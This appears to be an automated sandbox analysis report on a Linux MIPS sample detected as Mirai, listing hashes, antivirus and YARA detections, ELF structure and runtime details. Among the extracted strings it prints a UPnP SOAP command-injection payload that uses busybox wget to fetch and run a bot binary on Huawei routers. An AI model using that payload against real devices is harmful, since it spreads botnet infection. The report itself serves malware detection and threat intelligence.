Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
gmips.elf

Overview

General Information

Sample name:gmips.elf
Analysis ID:1675296
MD5:5ade39c59f687a33828beb0b10f7199b
SHA1:85b7cb089de406e84b3eb5c83bf4b8c872be98c5
SHA256:2ba189121340605c1c008fb05a59d84e40a59a2649bc1790bcdaadf2010400af
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1675296
Start date and time:2025-04-27 03:57:18 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 40s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:gmips.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@0/0

Runtime Messages

Command:/tmp/gmips.elf
PID:5511
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:

Process Tree

  • system is lnxubuntu20
  • gmips.elf (PID: 5511, Parent: 5437, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/gmips.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
gmips.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    gmips.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      5511.1.00007f6d90400000.00007f6d90413000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5511.1.00007f6d90400000.00007f6d90413000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: gmips.elf PID: 5511JoeSecurity_Mirai_6Yara detected MiraiJoe Security

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            • • AV Detection
            • • Networking
            • • System Summary
            • • Malware Analysis System Evasion
            • • Stealing of Sensitive Information
            • • Remote Access Functionality

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: gmips.elfAvira: detected
            Source: gmips.elfVirustotal: Detection: 55%Perma Link
            Source: gmips.elfReversingLabs: Detection: 63%
            Source: gmips.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: gmips.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
            Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@0/0
            Source: /tmp/gmips.elf (PID: 5511)Queries kernel information via 'uname': Jump to behavior
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: 4V!/etc/qemu-binfmt/mips
            Source: gmips.elf, 5511.1.00007ffcb0ba9000.00007ffcb0bca000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/gmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/gmips.elf
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: 4VCertificate!/usr/bin/vmtoolsd
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: /etc/qemu-binfmtP
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: /etc/qemu-binfmtP!/usr/bin/xiccdt/mips/us!/proc/3300/exe/mips/us1/usr/libexec/evolution-source-registry!/proc/3225/exexfce4/not1/usr/libexec/goa-identity-services
            Source: gmips.elf, 5511.1.00007ffcb0ba9000.00007ffcb0bca000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
            Source: gmips.elf, 5511.1.00005634c7b1b000.00005634c7bc2000.rw-.sdmpBinary or memory string: /etc/qemu-binfmtP /usr/libexec/goa-daemonQ

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: gmips.elf, type: SAMPLE
            Source: Yara matchFile source: 5511.1.00007f6d90400000.00007f6d90413000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: gmips.elf PID: 5511, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: gmips.elf, type: SAMPLE
            Source: Yara matchFile source: 5511.1.00007f6d90400000.00007f6d90413000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: gmips.elf PID: 5511, type: MEMORYSTR

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery            		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features

            Malware Configuration

            ⊘No configs have been found

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            behaviorgraph top1 signatures2 2 Behavior Graph ID: 1675296 Sample: gmips.elf Startdate: 27/04/2025 Architecture: LINUX Score: 72 7 Antivirus / Scanner detection for submitted sample 2->7 9 Multi AV Scanner detection for submitted file 2->9 11 Yara detected Mirai 2->11 5 gmips.elf 2->5         started        process3

            Screenshots

            Download Video

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            gmips.elf56%VirustotalBrowse
            gmips.elf64%ReversingLabsLinux.Worm.Mirai
            gmips.elf100%AviraLINUX/GM.Mirai.ET

            Dropped Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            ⊘No Antivirus matches

            Domains and IPs

            Contacted Domains

            ⊘No contacted domains info
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/gmips.elffalse
              		high
              http://schemas.xmlsoap.org/soap/envelope/gmips.elffalse
                		high

                World Map of Contacted IPs

                ⊘No contacted IP infos

                Joe Sandbox View / Context

                IPs

                ⊘No context

                Domains

                ⊘No context

                ASNs

                ⊘No context

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                ⊘No created / dropped files found

                Static File Info

                General

                File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                Entropy (8bit):5.481780502585192
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:gmips.elf
                File size:80'752 bytes
                MD5:5ade39c59f687a33828beb0b10f7199b
                SHA1:85b7cb089de406e84b3eb5c83bf4b8c872be98c5
                SHA256:2ba189121340605c1c008fb05a59d84e40a59a2649bc1790bcdaadf2010400af
                SHA512:2167f35b4dd1ddbdd4e23e28752a9cc5df790c8df09f78f956c7d0186a56ad9814b7e52d33e56d51f060b6ea1f03e9dc771f36bcb466b84299f86fa20d6ac78a
                SSDEEP:1536:YZ+aSixEz2CIC3La5uxALBdBJ/GRW+FA4/ypeg+5aG:Y+aDEz2CIWxWNeW+FzFoG
                TLSH:E483B81E6E219FEDF769C23547B74A31A29833C627E1D685E25CD6001F6034E642FFA8
                File Content Preview:.ELF.....................@.`...4..9h.....4. ...(.............@...@....+ ..+ ..............0..E0..E0.......*.........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!........'9.

                Static ELF Info

                ELF header

                Class:ELF32
                Data:2's complement, big endian
                Version:1 (current)
                Machine:MIPS R3000
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x400260
                Flags:0x1007
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:80232
                Section Header Size:40
                Number of Section Headers:13
                Header String Table Index:12

                Sections

                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x4000940x940x8c0x00x6AX004
                .textPROGBITS0x4001200x1200x10ee00x00x6AX0016
                .finiPROGBITS0x4110000x110000x5c0x00x6AX004
                .rodataPROGBITS0x4110600x110600x1ac00x00x2A0016
                .ctorsPROGBITS0x4530000x130000x80x00x3WA004
                .dtorsPROGBITS0x4530080x130080x80x00x3WA004
                .dataPROGBITS0x4530200x130200x3a00x00x3WA0016
                .gotPROGBITS0x4533c00x133c00x5500x40x10000003WAp0016
                .sbssNOBITS0x4539100x139100x1c0x00x10000003WAp004
                .bssNOBITS0x4539300x139100x21c80x00x3WA0016
                .mdebug.abi32PROGBITS0xc060x139100x00x00x0001
                .shstrtabSTRTAB0x00x139100x570x00x0001

                Program Segments

                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x4000000x4000000x12b200x12b205.57930x5R E0x10000.init .text .fini .rodata
                LOAD0x130000x4530000x4530000x9100x2af83.58840x6RW 0x10000.ctors .dtors .data .got .sbss .bss
                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                Network Behavior

                ⊘No network behavior found

                System Behavior

                General

                Start time (UTC):01:58:25
                Start date (UTC):27/04/2025
                Path:/tmp/gmips.elf
                Arguments:/tmp/gmips.elf
                File size:5777432 bytes
                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                File Activities

                Process Activities

                System Activities